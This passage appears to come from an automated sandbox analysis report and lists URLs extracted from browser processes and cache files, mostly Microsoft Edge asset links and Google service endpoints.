Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.9.dr, 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.9.dr, 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.9.dr, 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.9.dr, 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.9.dr, 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://gaana.com/
Source: chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.2238344314.00000DB80039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2238165713.00000DB800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/=z
Source: chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/B~
Source: chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/G
Source: chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Iw
Source: chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Ix
Source: chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/J
Source: chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Lx
Source: chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Sx
Source: chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/T
Source: chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Vx
Source: chrome.exe, 00000003.00000003.2238536427.00000DB800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/gj
Source: chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/gx
Source: chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/h
Source: chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/jx
Source: chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/o
Source: chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/qx
Source: chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/r
Source: chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/tx
Source: chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/y
Source: chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/~x
Source: chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2238536427.00000DB800684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.2238344314.00000DB80039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2238165713.00000DB800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000003.00000003.2238536427.00000DB800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000003.00000003.2238536427.00000DB800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 00000003.00000003.2238536427.00000DB800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2238723729.00000DB8006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2274825708.0000590801BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2274895822.0000590801BCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2274850195.0000590801BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2274876223.0000590801BC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2274797922.0000590801BBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 00000003.00000003.2238344314.00000DB80039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2238165713.00000DB800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/bJ
Source: msedge.exe, 00000007.00000002.2442975732.000078C8003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: BAEBGHCFCAAFIECAFIII.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000003.00000003.2274355025.0000590801B0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000003.00000003.2274355025.0000590801B0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000003.00000003.2238344314.00000DB80039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2238165713.00000DB800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000003.00000003.2274355025.0000590801B0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardY
Source: chrome.exe, 00000003.00000003.2238344314.00000DB80039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2238165713.00000DB800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000003.00000003.2238165713.00000DB800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000003.00000003.2271898390.00005908014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271550152.0000590801399000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272931435.0000590801428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272955274.00005908014F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272032050.00005908014C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272902300.000059080140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271970333.00005908014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000003.00000003.2252391964.00005908003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252478513.0000590800E28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252849188.000059080120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252778278.0000590801134000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000003.00000003.2252391964.00005908003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252478513.0000590800E28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252849188.000059080120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252778278.0000590801134000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000003.00000003.2238758998.00000DB8006EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252849188.000059080120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252778278.0000590801134000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000003.00000003.2238165713.00000DB800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000003.00000003.2240570292.00005908001C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
